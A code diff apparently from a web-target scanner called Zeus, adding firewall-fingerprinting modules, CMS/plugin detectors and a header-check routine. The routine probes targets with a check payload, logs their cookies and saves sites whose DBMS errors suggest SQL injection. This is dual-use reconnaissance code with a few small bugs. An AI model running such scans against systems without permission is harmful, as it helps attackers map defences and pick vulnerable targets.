--- a/lib/firewall/generic.py
+++ b/lib/firewall/generic.py
@ -0,0 +1,36 @@
+import re
+
+from lib.core.common import  HTTP_HEADER
+from lib.core.settings import PROTECTION_CHECK_PAYLOAD
+
+
+__item__ = "Generic (Unknown)"
+
+
+def detect(content, **kwargs):
+    content = str(content)
+    headers = kwargs.get("headers", None)
+    status = kwargs.get("status", None)
+    if status == 403:
+        # if the error HTML is an Apache error, Apache has a tendency to be fucking stupid
+        # and output 403 errors when you are trying to do something fun. mostly because
+        # Apache is a killer of fun and doesn't like anything decent in this life.
+        if re.compile(r"<.+>403 Forbidden<.+.>", re.I).search(content) is not None:
+            return False
+        if re.compile(r"apache.\d+", re.I).search(headers.get(HTTP_HEADER.SERVER, "")) is not None:
+            return False
+    # make sure that it's not just a `didn't find what you're looking for` page
+    # this will probably help out a lot with random WAF detection
+    if status == 200 or "not found" in content.lower():
+        return False
+    detection_schema = (
+        re.compile("blocked", re.I), re.compile("forbidden", re.I),
+        re.compile("illegal", re.I), re.compile("reported", re.I),
+        re.compile("ip.logged", re.I), re.compile("access.denied", re.I),
+        re.compile("ip.address.logged", re.I), re.compile(r"not.acceptable")
+    )
+    for detection in detection_schema:
+        if detection.search(content) is not None:
+            return True
+    if PROTECTION_CHECK_PAYLOAD in content:
+        return True
--- a/lib/firewall/modsecurity.py
+++ b/lib/firewall/modsecurity.py
@ -0,0 +1,19 @@
+import re
+
+
+__item__ = "ModSecurity: Open Source Web Application Firewall"
+
+
+def detect(content, **kwargs):
+    content = str(content)
+    detection_schema = (
+        re.compile(r"ModSecurity|NYOB", re.I),
+        re.compile(r"Mod Security", re.I),
+        re.compile(r"mod_security", re.I),
+        re.compile(r"This error was generated by Mod_Security", re.I),
+        re.compile(r"Web Server at", re.I),
+        re.compile(r"page you are (accessing|trying)? (to|is)? (access)? (is|to)? (restricted)?", re.I)
+    )
+    for detection in detection_schema:
+        if detection.search(content) is not None:
+            return True
--- a/lib/firewall/paloalto.py
+++ b/lib/firewall/paloalto.py
@ -0,0 +1,16 @@
+import re
+
+
+__item__ = "Palo Alto Firewall (Palo Alto Networks)"
+
+
+def detect(content, **kwargs):
+    content = str(content)
+    detection_schemas = (
+        re.compile(r"\bhas been blocked in accordance with company policy\b"),
+        re.compile(r"<.+>Virus.Spyware.Download.Blocked<.+.>")
+    )
+    for detection in detection_schemas:
+        if detection.search(content) is not None:
+            return True
+
--- a/lib/firewall/pk.py
+++ b/lib/firewall/pk.py
@ -0,0 +1,16 @@
+import re
+
+
+__item__ = "pkSecurityModule (IDS)"
+
+
+def detect(content, **kwargs):
+    content = str(content)
+    detection_schema = (
+        re.compile(r"<.+>pkSecurityModule\W..\WSecurity.Alert<.+.>", re.I),
+        re.compile(r"<.+http(s)?.//([w]{3})?.kitnetwork.\w+.+>", re.I),
+        re.compile(r"<.+>A.safety.critical.request.was.discovered.and.blocked.<.+.>", re.I)
+    )
+    for detection in detection_schema:
+        if detection.search(content) is not None:
+            return True
--- a/lib/firewall/powerful.py
+++ b/lib/firewall/powerful.py
@ -0,0 +1,17 @@
+import re
+
+
+__item__ = "Powerful Firewall (MyBB plugin)"
+
+
+def detect(content, **kwargs):
+    status = kwargs.get("status", None)
+    detection_schema = (
+        re.compile(r"Powerful Firewall", re.I),
+        re.compile(r"http(s)?...tiny.cc.powerful.firewall", re.I)
+    )
+    if status is not None:
+        if status == 403:
+            for detection in detection_schema:
+                if detection.search(content) is not None:
+                    return True
--- a/lib/firewall/siteguard.py
+++ b/lib/firewall/siteguard.py
@ -0,0 +1,15 @@
+import re
+
+
+__item__ = "Website Security SiteGuard (Lite)"
+
+
+def detect(content, **kwargs):
+    content = str(content)
+    detection_schema = (
+        re.compile(r">Powered.by.SiteGuard.Lite<", re.I),
+        re.compile(r"refuse.to.browse", re.I)
+    )
+    for detection in detection_schema:
+        if detection.search(content) is not None:
+            return True
--- a/lib/firewall/sonicwall.py
+++ b/lib/firewall/sonicwall.py
@ -0,0 +1,24 @@
+import re
+
+from lib.core.common import HTTP_HEADER
+
+
+__item__ = "SonicWALL Firewall (Dell)"
+
+
+def detect(content, **kwargs):
+    content = str(content)
+    headers = kwargs.get("headers", None)
+    detection_schema = (
+        re.compile(r"This.request.is.blocked.by.the.SonicWALL", re.I),
+        re.compile(r"Dell.SonicWALL", re.I),
+        re.compile(r"\bDell\b", re.I),
+        re.compile(r"Web.Site.Blocked.+\bnsa.banner", re.I),
+        re.compile(r"SonicWALL", re.I),
+        re.compile(r"<.+>policy.this.site.is.blocked<.+.>", re.I)
+    )
+    for detection in detection_schema:
+        if detection.search(content) is not None:
+            return True
+        if detection.search(headers.get(HTTP_HEADER.SERVER, "")) is not None:
+            return True
--- a/lib/firewall/squid.py
+++ b/lib/firewall/squid.py
@ -0,0 +1,23 @@
+import re
+
+from lib.core.common import HTTP_HEADER
+
+
+__item__ = "Squid Proxy (IDS)"
+
+
+def detect(content, **kwargs):
+    content = str(content)
+    headers = kwargs.get("headers", None)
+    detection_schema = (
+        re.compile(r"squid", re.I),
+        re.compile(r"Access control configuration prevents", re.I),
+        re.compile(r"X.Squid.Error", re.I),
+    )
+    for detection in detection_schema:
+        if detection.search(content) is not None:
+            return True
+        if detection.search(headers.get(HTTP_HEADER.SERVER, "")) is not None:
+            return True
+        if detection.search(str(headers)) is not None:
+            return True
--- a/lib/firewall/stringray.py
+++ b/lib/firewall/stringray.py
@ -0,0 +1,19 @@
+import re
+
+from lib.core.common import HTTP_HEADER
+
+
+__item__ = "Stingray Application Firewall (Riverbed / Brocade)"
+
+
+def detect(content, **kwargs):
+    headers = kwargs.get("headers", None)
+    status = kwargs.get("status", None)
+    status_schema = (403, 500)
+    detection_schema = (
+        re.compile(r"\AX-Mapping-", re.I),
+    )
+    for detection in detection_schema:
+        if detection.search(headers.get(HTTP_HEADER.SET_COOKIE, "")) is not None:
+            if status in status_schema:
+                return True
--- a/lib/firewall/sucuri.py
+++ b/lib/firewall/sucuri.py
@ -0,0 +1,20 @@
+import re
+
+from lib.core.common import HTTP_HEADER
+
+__item__ = "Sucuri Firewall (Sucuri Cloudproxy)"
+
+
+def detect(content, **kwargs):
+    content = str(content)
+    headers = kwargs.get("headers", None)
+    detection_schema = (
+        re.compile(r"Access Denied - Sucuri Website Firewall"),
+        re.compile(r"Sucuri WebSite Firewall - CloudProxy - Access Denied"),
+        re.compile(r"Questions\?.+cloudproxy@sucuri\.net")
+    )
+    for detection in detection_schema:
+        if detection.search(content) is not None:
+            return True
+        if re.compile(r"X-Sucuri-ID", re.I).search(headers.get(HTTP_HEADER.SERVER, "")) is not None:
+            return True
--- a/lib/firewall/urlscan.py
+++ b/lib/firewall/urlscan.py
@ -0,0 +1,19 @@
+import re
+
+from lib.core.common import HTTP_HEADER
+
+
+__item__ = "UrlScan (Microsoft)"
+
+
+def detect(content, **kwargs):
+    headers = kwargs.get("headers", None)
+    detection_schema = (
+        re.compile(r"rejected.by.url.scan", re.I),
+        re.compile(r"/rejected.by.url.scan", re.I)
+    )
+    for detection in detection_schema:
+        if detection.search(content) is not None:
+            return True
+        if detection.search(headers.get(HTTP_HEADER.LOCATION, "")) is not None:
+            return True
--- a/lib/firewall/varnish.py
+++ b/lib/firewall/varnish.py
@ -0,0 +1,26 @@
+import re
+
+from lib.core.common import HTTP_HEADER
+
+
+__item__ = "Varnish FireWall (OWASP)"
+
+
+def detect(content, **kwargs):
+    content = str(content)
+    headers = kwargs.get("headers", None)
+    detection_schema = (
+        re.compile(r"\bXID: \d+", re.I),
+        re.compile(r"varnish\Z", re.I),
+        re.compile(r"varnish"), re.I
+    )
+    try:
+        for detection in detection_schema:
+            if detection.search(content) is not None:
+                return True
+            if detection.search(headers.get(HTTP_HEADER.VIA, "")) is not None:
+                return True
+            if detection.search(headers.get(HTTP_HEADER.SERVER, "")) is not None:
+                return True
+    except:
+        pass
--- a/lib/firewall/wallarm.py
+++ b/lib/firewall/wallarm.py
@ -0,0 +1,16 @@
+import re
+
+from lib.core.common import HTTP_HEADER
+
+
+__item__ = "Wallarm Web Application Firewall (Wallarm)"
+
+
+def detect(content, **kwargs):
+    headers = kwargs.get("headers", None)
+    detection_schema = (
+        re.compile(r"nginx-wallarm", re.I),
+    )
+    for detection in detection_schema:
+        if detection.search(headers.get(HTTP_HEADER.SERVER, "")) is not None:
+            return True
--- a/lib/firewall/webknight.py
+++ b/lib/firewall/webknight.py
@ -0,0 +1,21 @@
+import re
+
+from lib.core.common import HTTP_HEADER
+
+
+__item__ = "WebKnight Application Firewall (AQTRONIX)"
+
+
+def detect(content, **kwargs):
+    headers = kwargs.get("headers", None)
+    status = kwargs.get("status", None)
+    detection_schema = (
+        re.compile(r"webknight", re.I),
+        re.compile(r"WebKnight", re.I)
+    )
+    if status is not None:
+        if status == 999:
+            return True
+    for detection in detection_schema:
+        if detection.search(headers.get(HTTP_HEADER.SERVER, "")) is not None:
+            return True
--- a/lib/firewall/webseal.py
+++ b/lib/firewall/webseal.py
@ -0,0 +1,14 @@
+import re
+
+
+__item__ = "IBM Security Access Manager (WebSEAL)"
+
+
+def detect(content, **kwargs):
+    content = str(content)
+    detection_schema = (
+        re.compile(r"\bWebSEAL\b", re.I), re.compile(r"\bIBM\b", re.I)
+    )
+    for detection in list(detection_schema):
+        if detection.search(content) is not None:
+            return True
--- a/lib/firewall/wordfence.py
+++ b/lib/firewall/wordfence.py
@ -0,0 +1,16 @@
+import re
+
+
+__item__ = "Wordfence (Feedjit)"
+
+
+def detect(content, **kwargs):
+    content = str(content)
+    detection_schema = (
+        re.compile(r"Generated by Wordfence", re.I),
+        re.compile(r"Your access to this site has been limited", re.I),
+        re.compile(r"<.+>Wordfence<.+.>", re.I)
+    )
+    for detection in detection_schema:
+        if detection.search(content) is not None:
+            return True
--- a/lib/firewall/yundun.py
+++ b/lib/firewall/yundun.py
@ -0,0 +1,19 @@
+import re
+
+from lib.core.common import HTTP_HEADER
+
+
+__item__ = "Yundun Web Application Firewall (Yundun)"
+
+
+def detect(content, **kwargs):
+    headers = kwargs.get("headers", None)
+    detection_schema = (
+        re.compile(r"YUNDUN", re.I),
+    )
+    if headers is not None:
+        for detection in detection_schema:
+            if detection.search(headers.get(HTTP_HEADER.X_CACHE, "")) is not None:
+                return True
+            if detection.search(headers.get(HTTP_HEADER.SERVER, "")) is not None:
+                return True
--- a/lib/firewall/yunsuo.py
+++ b/lib/firewall/yunsuo.py
@ -0,0 +1,19 @@
+import re
+
+from lib.core.common import HTTP_HEADER
+
+
+__item__ = "Yunsuo Web Application Firewall (Yunsuo)"
+
+
+def detect(content, **kwargs):
+    headers = kwargs.get("headers", None)
+    content = str(content)
+    detection_schema = (
+        re.compile(r"<img class=\"yunsuologo\"", re.I),
+    )
+    for detection in detection_schema:
+        if detection.search(content) is not None:
+            return True
+    if re.search(r"yunsuo_session", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None:
+        return True
--- a/lib/header_check/init.py
+++ b/lib/header_check/init.py
@ -0,0 +1,392 @@
+import os
+import re
+import time
+import importlib
+import unicodedata
+
+from xml.dom import minidom
+from requests.exceptions import (
+    ConnectionError,
+    ReadTimeout
+)
+
+from var.auto_issue.github import request_issue_creation
+from lib.core.common import (
+    write_to_log_file,
+    shutdown,
+    pause,
+    get_page,
+    HTTP_HEADER,
+)
+from lib.core.settings import (
+    logger, set_color,
+    HEADER_XML_DATA,
+    replace_http,
+    HEADER_RESULT_PATH,
+    COOKIE_LOG_PATH,
+    PROTECTION_CHECK_PAYLOAD,
+    DETECT_FIREWALL_PATH,
+    ISSUE_LINK,
+    DBMS_ERRORS,
+    UNKNOWN_FIREWALL_FINGERPRINT_PATH,
+    UNKNOWN_FIREWALL_FILENAME,
+    COOKIE_FILENAME,
+    HEADERS_FILENAME,
+    SQLI_FOUND_FILENAME,
+    SQLI_SITES_FILEPATH,
+    DETECT_PLUGINS_PATH
+)
+
+
+def get_charset(html, headers, **kwargs):
+    """
+    detect the target URL charset
+    """
+    charset_regex = re.compile(r'charset=[\"]?([a-zA-Z0-9_-]+)', re.I)
+    charset = charset_regex.search(html)
+    if charset is not None:
+        return charset.group(1)
+    else:
+        content = headers.get(HTTP_HEADER.CONTENT_TYPE, "")
+        charset = charset_regex.search(content)
+        if charset is not None:
+            return charset.group(1)
+    return None
+
+
+def detect_protection(url, status, html, headers, **kwargs):
+    verbose = kwargs.get("verbose", False)
+    try:
+        # make sure there are no DBMS errors in the HTML
+        for dbms in DBMS_ERRORS:
+            for regex in DBMS_ERRORS[dbms]:
+                if re.compile(regex).search(html) is not None:
+                    logger.warning(set_color(
+                        "it appears that the WAF/IDS/IPS check threw a DBMS error and may be vulnerable "
+                        "to SQL injection attacks. it appears the backend DBMS is '{}', site will be "
+                        "saved for further processing".format(dbms), level=30
+                    ))
+                    write_to_log_file(url, SQLI_SITES_FILEPATH, SQLI_FOUND_FILENAME)
+                    return None
+
+        retval = []
+        file_list = [f for f in os.listdir(DETECT_FIREWALL_PATH) if not any(ex in f for ex in ["__init__", ".pyc"])]
+        for item in file_list:
+            item = item[:-3]
+            if verbose:
+                logger.debug(set_color(
+                    "loading script '{}'".format(item), level=10
+                ))
+            detection_name = "lib.firewall.{}"
+            detection_name = detection_name.format(item)
+            detection_name = importlib.import_module(detection_name)
+            if detection_name.detect(html, headers=headers, status=status) is True:
+                retval.append(detection_name.__item__)
+        if len(retval) != 0:
+            if len(retval) >= 2:
+                try:
+                    del retval[retval.index("Generic (Unknown)")]
+                except (Exception, IndexError):
+                    logger.warning(set_color(
+                        "multiple firewalls identified ({}), displaying most likely".format(
+                            ", ".join([item.split("(")[0] for item in retval])
+                        ), level=30
+                    ))
+                    del retval[retval.index(retval[1])]
+                    if len(retval) >= 2:
+                        del retval[retval.index(retval[1])]
+            if retval[0] == "Generic (Unknown)":
+                logger.warning(set_color(
+                    "discovered firewall is unknown to Zeus, saving fingerprint to file. "
+                    "if you know the details or the context of the firewall please create "
+                    "an issue ({}) with the fingerprint, or a pull request with the script".format(
+                        ISSUE_LINK
+                    ), level=30
+                ))
+                fingerprint = "<!---\nHTTP 1.1\nStatus Code: {}\nHTTP Headers: {}\n--->\n{}".format(
+                    status, headers, html
+                )
+                write_to_log_file(fingerprint, UNKNOWN_FIREWALL_FINGERPRINT_PATH, UNKNOWN_FIREWALL_FILENAME)
+            return "".join(retval) if isinstance(retval, list) else retval
+        else:
+            return None
+
+    except Exception as e:
+        if any(err in str(e) for err in ["Read timed out.", "Connection reset by peer"]):
+            logger.warning(set_color(
+                "detection request failed, assuming no protection and continuing", level=30
+            ))
+            return None
+        else:
+            logger.exception(set_color(
+                "Zeus ran into an unexpected error '{}'".format(e), level=50
+            ))
+            request_issue_creation()
+            return None
+
+
+def detect_plugins(html, headers, **kwargs):
+    verbose = kwargs.get("verbose", False)
+
+    try:
+        retval = []
+        plugin_skip_schema = ("__init__", ".pyc")
+        plugin_file_list = [f for f in os.listdir(DETECT_PLUGINS_PATH) if not any(s in f for s in plugin_skip_schema)]
+        for plugin in plugin_file_list:
+            plugin = plugin[:-3]
+            if verbose:
+                logger.debug(set_color(
+                    "loading script '{}'".format(plugin), level=10
+                ))
+            plugin_detection = "lib.plugins.{}"
+            plugin_detection = plugin_detection.format(plugin)
+            plugin_detection = importlib.import_module(plugin_detection)
+            if plugin_detection.search(html, headers=headers) is True:
+                retval.append((plugin_detection.__product__, plugin_detection.__description__))
+        if len(retval) > 0:
+            return retval
+        return None
+    except Exception as e:
+        logger.exception(str(e))
+        if "Read timed out." or "Connection reset by peer" in str(e):
+            logger.warning(set_color(
+                "plugin request failed, assuming no plugins and continuing", level=30
+            ))
+            return None
+        else:
+            logger.exception(set_color(
+                "plugin detection has failed with error {}".format(str(e))
+            ))
+            request_issue_creation()
+
+
+def load_xml_data(path, start_node="header", search_node="name"):
+    """
+    load the XML data
+    """
+    retval = []
+    fetched_xml = minidom.parse(path)
+    item_list = fetched_xml.getElementsByTagName(start_node)
+    for value in item_list:
+        retval.append(value.attributes[search_node].value)
+    return retval
+
+
+def load_headers(url, req, **kwargs):
+    """
+    load the HTTP headers
+    """
+    literal_match = re.compile(r"\\(\X(\d+)?\w+)?", re.I)
+
+    if len(req.cookies) > 0:
+        logger.info(set_color(
+            "found a request cookie, saving to file", level=25
+        ))
+        try:
+            cookie_start = req.cookies.keys()
+            cookie_value = req.cookies.values()
+            write_to_log_file(
+                "{}={}".format(''.join(cookie_start), ''.join(cookie_value)),
+                COOKIE_LOG_PATH, COOKIE_FILENAME.format(replace_http(url))
+            )
+        except Exception:
+            write_to_log_file(
+                [c for c in req.cookies.itervalues()], COOKIE_LOG_PATH,
+                COOKIE_FILENAME.format(replace_http(url))
+            )
+    retval = {}
+    do_not_use = []
+    http_headers = req.headers
+    for header in http_headers:
+        try:
+            # check for Unicode in the string, this is just a safety net in case something is missed
+            # chances are nothing will be matched
+            if literal_match.search(header) is not None:
+                retval[header] = unicodedata.normalize(
+                    "NFKD", u"{}".format(http_headers[header])
+                ).encode("ascii", errors="ignore")
+            else:
+                # test to see if there are any unicode errors in the string
+                retval[header] = unicodedata.normalize(
+                    "NFKD", u"{}".format(http_headers[header])
+                ).encode("ascii", errors="ignore")
+        # just to be safe, we're going to put all the possible Unicode errors into a tuple
+        except (UnicodeEncodeError, UnicodeDecodeError, UnicodeError, UnicodeTranslateError, UnicodeWarning):
+            # if there are any errors, we're going to append them to a `do_not_use` list
+            do_not_use.append(header)
+    # clear the dict so we can re-add to it
+    retval.clear()
+    for head in http_headers:
+        # if the header is in the list, we skip it
+        if head not in do_not_use:
+            retval[head] = http_headers[head]
+    # return a dict of safe unicodeless HTTP headers
+    return retval
+
+
+def compare_headers(found_headers, comparable_headers):
+    """
+    compare the headers against one another
+    """
+    retval = set()
+    for header in comparable_headers:
+        if header in found_headers:
+            retval.add(header)
+    return retval
+
+
+def main_header_check(url, **kwargs):
+    """
+    main function
+    """
+    verbose = kwargs.get("verbose", False)
+    agent = kwargs.get("agent", None)
+    proxy = kwargs.get("proxy", None)
+    xforward = kwargs.get("xforward", False)
+    identify_waf = kwargs.get("identify_waf", True)
+    identify_plugins = kwargs.get("identify_plugins", True)
+    show_description = kwargs.get("show_description", False)
+    attempts = kwargs.get("attempts", 3)
+
+    default_sleep_time = 5
+    protection = {"hostname": url}
+    definition = {
+        "x-xss": ("protection against XSS attacks", "XSS"),
+        "strict-transport": ("protection against unencrypted connections (force HTTPS connection)", "HTTPS"),
+        "x-frame": ("protection against clickjacking vulnerabilities", "CLICKJACKING"),
+        "x-content": ("protection against MIME type attacks", "MIME"),
+        "x-csrf": ("protection against Cross-Site Forgery attacks", "CSRF"),
+        "x-xsrf": ("protection against Cross-Site Forgery attacks", "CSRF"),
+        "public-key": ("protection to reduce success rates of MITM attacks", "MITM"),
+        "content-security": ("header protection against multiple attack types", "ALL")
+    }
+
+    try:
+        req, status, html, headers = get_page(url, proxy=proxy, agent=agent, xforward=xforward)
+
+        logger.info(set_color(
+            "detecting target charset"
+        ))
+        charset = get_charset(html, headers)
+        if charset is not None:
+            logger.info(set_color(
+                "target charset appears to be '{}'".format(charset), level=25
+            ))
+        else:
+            logger.warning(set_color(
+                "unable to detect target charset", level=30
+            ))
+        if identify_waf:
+            waf_url = "{} {}".format(url.strip(), PROTECTION_CHECK_PAYLOAD)
+            _, waf_status, waf_html, waf_headers = get_page(waf_url, xforward=xforward, proxy=proxy, agent=agent)
+            logger.info(set_color(
+                "checking if target URL is protected by some kind of WAF/IPS/IDS"
+            ))
+            if verbose:
+                logger.debug(set_color(
+                    "attempting connection to '{}'".format(waf_url), level=10
+                ))
+
+            identified_waf = detect_protection(url, waf_status, waf_html, waf_headers, verbose=verbose)
+
+            if identified_waf is None:
+                logger.info(set_color(
+                    "no WAF/IDS/IPS has been identified on target URL", level=25
+                ))
+            else:
+                logger.warning(set_color(
+                    "the target URL WAF/IDS/IPS has been identified as '{}'".format(identified_waf), level=35
+                ))
+
+        if identify_plugins:
+            logger.info(set_color(
+                "attempting to identify plugins"
+            ))
+            identified_plugin = detect_plugins(html, headers, verbose=verbose)
+            if identified_plugin is not None:
+                for plugin in identified_plugin:
+                    if show_description:
+                        logger.info(set_color(
+                            "possible plugin identified as '{}' (description: '{}')".format(
+                                plugin[0], plugin[1]
+                            ), level=25
+                        ))
+                    else:
+                        logger.info(set_color(
+                            "possible plugin identified as '{}'".format(
+                                plugin[0]
+                            ), level=25
+                        ))
+            else:
+                logger.warning(set_color(
+                    "no known plugins identified on target", level=30
+                ))
+
+        if verbose:
+            logger.debug(set_color(
+                "loading XML data", level=10
+            ))
+        comparable_headers = load_xml_data(HEADER_XML_DATA)
+        logger.info(set_color(
+            "attempting to get request headers for '{}'".format(url.strip())
+        ))
+        try:
+            found_headers = load_headers(url, req)
+        except (ConnectionError, Exception) as e:
+            if "Read timed out." or "Connection reset by peer" in str(e):
+                found_headers = None
+            else:
+                logger.exception(set_color(
+                    "Zeus has hit an unexpected error and cannot continue '{}'".format(e), level=50
+                ))
+                request_issue_creation()
+
+        if found_headers is not None:
+            if verbose:
+                logger.debug(set_color(
+                    "fetched {}".format(found_headers), level=10
+                ))
+            headers_established = [str(h) for h in compare_headers(found_headers, comparable_headers)]
+            for key in definition.iterkeys():
+                if any(key in h.lower() for h in headers_established):
+                    logger.warning(set_color(
+                        "provided target has {}".format(definition[key][0]), level=30
+                    ))
+            for key in found_headers.iterkeys():
+                protection[key] = found_headers[key]
+            logger.info(set_color(
+                "writing found headers to log file", level=25
+            ))
+            return write_to_log_file(protection, HEADER_RESULT_PATH, HEADERS_FILENAME.format(replace_http(url)))
+        else:
+            logger.error(set_color(
+                "unable to retrieve headers for site '{}'".format(url.strip()), level=40
+            ))
+    except ConnectionError:
+        attempts = attempts - 1
+        if attempts == 0:
+            return False
+        logger.warning(set_color(
+            "target actively refused the connection, sleeping for {}s and retrying the request".format(
+                default_sleep_time
+            ), level=30
+        ))
+        time.sleep(default_sleep_time)
+        main_header_check(
+            url, proxy=proxy, agent=agent, xforward=xforward, show_description=show_description,
+            identify_plugins=identify_plugins, identify_waf=identify_waf, verbose=verbose,
+            attempts=attempts
+        )
+    except ReadTimeout:
+        logger.error(set_color(
+            "meta-data retrieval failed due to target URL timing out, skipping", level=40
+        ))
+    except KeyboardInterrupt:
+        if not pause():
+            shutdown()
+    except Exception as e:
+        logger.exception(set_color(
+            "meta-data retrieval failed with unexpected error '{}'".format(
+                str(e)
+            ), level=50
+        ))
--- a/lib/plugins/1024.py
+++ b/lib/plugins/1024.py
@ -0,0 +1,24 @@
+import re
+
+
+__product__ = "1024-CMS"
+__description__ = (
+    "1024 is one of a few CMS's leading the way with "
+    "the implementation of the AJAX technology into "
+    "all its areas. This includes dynamic administration "
+    "and user interaction. 1024 offers you to ability to "
+    "set up your own community forums, download area, news "
+    "posts, member management and more."
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r".1024cms.", re.I),
+        re.compile(r"<.+>powered.by.1024.cms<.+.>", re.I),
+        re.compile(r"1024.cms", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/360.py
+++ b/lib/plugins/360.py
@ -0,0 +1,23 @@
+import re
+
+
+__product__ = "360 Web Manager"
+__description__ = (
+    "1024 is one of a few CMS's leading the way with the "
+    "implementation of the AJAX technology  into all its "
+    "areas. This includes dynamic adminstration and user "
+    "interaction. 1024 offers you to ability to set up your "
+    "own community forums, download area, news posts, member management and more."
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r"powered.by.360.web.manager", re.I),
+        re.compile(r"360webmanager.software", re.I),
+        re.compile(r"http(s)?.\S{2}(www.)?360webmanager(.com)?", re.I),
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/3com.py
+++ b/lib/plugins/3com.py
@ -0,0 +1,25 @@
+import re
+
+
+__product__ = "3COM-NBX"
+__description__ = (
+    "3COM NBX phone system. The NBX NetSet utility is a web "
+    "interface in which you configure and manage the NBX "
+    "system. NBX systems present the NBX NetSet utility "
+    "through an embedded web server that is integrated in system software."
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r"nbx.netset", re.I),
+        re.compile(r"<.+>nbx.netset<.+.>", re.I),
+        re.compile(r"3com.corporation", re.I),
+        re.compile(r"nbx.corporation", re.I),
+        re.compile(r"http(s)?.//(www.)?nbxhelpdesk.com", re.I),
+        re.compile(r"nbx.help.desk", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/3dcart.py
+++ b/lib/plugins/3dcart.py
@ -0,0 +1,23 @@
+import re
+
+import lib.core.common
+
+
+__product__ = "3dcart"
+__description__ = (
+    "The 3dcart Shopping Cart Software is a complete e-commerce solution for anyone."
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    headers = kwargs.get("headers", None)
+    plugin_detection_schema = (
+        re.compile(r"3dcart.stats", re.I),
+        re.compile(r"/3dvisit/", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
+        if plugin.search(headers.get(lib.core.common.HTTP_HEADER.SET_COOKIE, "")) is not None:
+            return True
--- a/lib/plugins/4d.py
+++ b/lib/plugins/4d.py
@ -0,0 +1,19 @@
+import re
+
+import lib.core.common
+
+
+__product__ = "4D"
+__description__ = (
+    "4D web application deployment server"
+)
+
+
+def search(html, **kwargs):
+    headers = kwargs.get("headers", None)
+    plugin_detection_schema = (
+        re.compile(r"/^4D_v[\d]{1,2}(_SQL)?\/([\d\.]+)$/", re.I),
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(headers.get(lib.core.common.HTTP_HEADER.SERVER, "")) is not None:
+            return True
--- a/lib/plugins/4images.py
+++ b/lib/plugins/4images.py
@ -0,0 +1,23 @@
+import re
+
+
+__product__ = "4images"
+__description__ = (
+    "4images is a powerful web-based image gallery "
+    "management system. Features include comment system, "
+    "user registration and management, password protected "
+    "administration area with browser-based upload and HTML "
+    "templates for page layout and design."
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_protection_schema = (
+        re.compile(r"http(s)?.//(www.)?4homepages.\w+", re.I),
+        re.compile(r"powered.by.<.+>4images<.+.>", re.I),
+        re.compile(r"powered.by.4images", re.I)
+    )
+    for plugin in plugin_protection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/68classified.py
+++ b/lib/plugins/68classified.py
@ -0,0 +1,19 @@
+import re
+
+
+__product__ = "68-Classifieds-Script"
+__description__ = (
+    "68 Classifieds Script - Requires PHP"
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r"http(s)?.//(www.)?68classifieds.com", re.I),
+        re.compile(r"68.classifieds.script", re.I),
+        re.compile(r"68.classifieds", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/init.py
+++ b/lib/plugins/init.py
--- a/lib/plugins/aardvark.py
+++ b/lib/plugins/aardvark.py
@ -0,0 +1,19 @@
+import re
+
+
+__product__ = "Aardvark-Topsites-PHP"
+__description__ = (
+    "Aardvark Topsites PHP is a free topsites script built on PHP and MySQL"
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r"powered.by.aardvark.topsites.php", re.I),
+        re.compile(r"aardvark.topsites.php", re.I),
+        re.compile(r"http(s)?.//(www.)?aardvarktopsitesphp.com", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/abyss.py
+++ b/lib/plugins/abyss.py
@ -0,0 +1,20 @@
+import re
+
+import lib.core.common
+
+
+__product__ = "Abyss-Web-Server"
+__description__ = (
+    "Abyss Web Server is a compact web server available "
+    "for Windows, Mac OS X, Linux, and FreeBSD operating systems"
+)
+
+
+def search(html, **kwargs):
+    headers = kwargs.get("headers", None)
+    plugin_detection_schema = (
+        re.compile(r"/^Abyss\/([^\s]+)/", re.I),
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(headers.get(lib.core.common.HTTP_HEADER.SERVER, "")) is not None:
+            return True
--- a/lib/plugins/accellion.py
+++ b/lib/plugins/accellion.py
@ -0,0 +1,22 @@
+import re
+
+import lib.core.common
+
+
+__product__ = "Accellion-Secure-File-Transfer"
+__description__ = (
+    "Accellion Secure File Transfer (SFT)"
+)
+
+
+def search(html, **kwargs):
+    headers = kwargs.get("headers", None)
+    plugin_detection_schema = (
+        re.compile(r"/sfcurl.deleted./", re.I),
+        re.compile(r"/\/courier\/[\d]+@\/mail_user_login\.html\?$/", re.I),
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(headers.get(lib.core.common.HTTP_HEADER.LOCATION, "")) is not None:
+            return True
+        if plugin.search(headers.get(lib.core.common.HTTP_HEADER.SET_COOKIE, "")) is not None:
+            return True
--- a/lib/plugins/atomfeed.py
+++ b/lib/plugins/atomfeed.py
@ -0,0 +1,19 @@
+import re
+
+
+__product__ = "Atom Feed"
+__description__ = (
+    "Atom Feeds allow software programs to check for updates published on a website"
+)
+
+
+def search(html, **kwargs):
+    html = str(html)
+    plugin_detection_schema = (
+        re.compile(r"<link.\w+.[\"]?atom.xml[\"]?", re.I),
+        re.compile(r"type.[\"]?application.atom.xml[\"]?", re.I),
+        re.compile(r"title.[\"]?sitewide.atom.feed[\"]?", re.I)
+    )
+    for plugin in plugin_detection_schema:
+        if plugin.search(html) is not None:
+            return True
--- a/lib/plugins/b2evolution.py
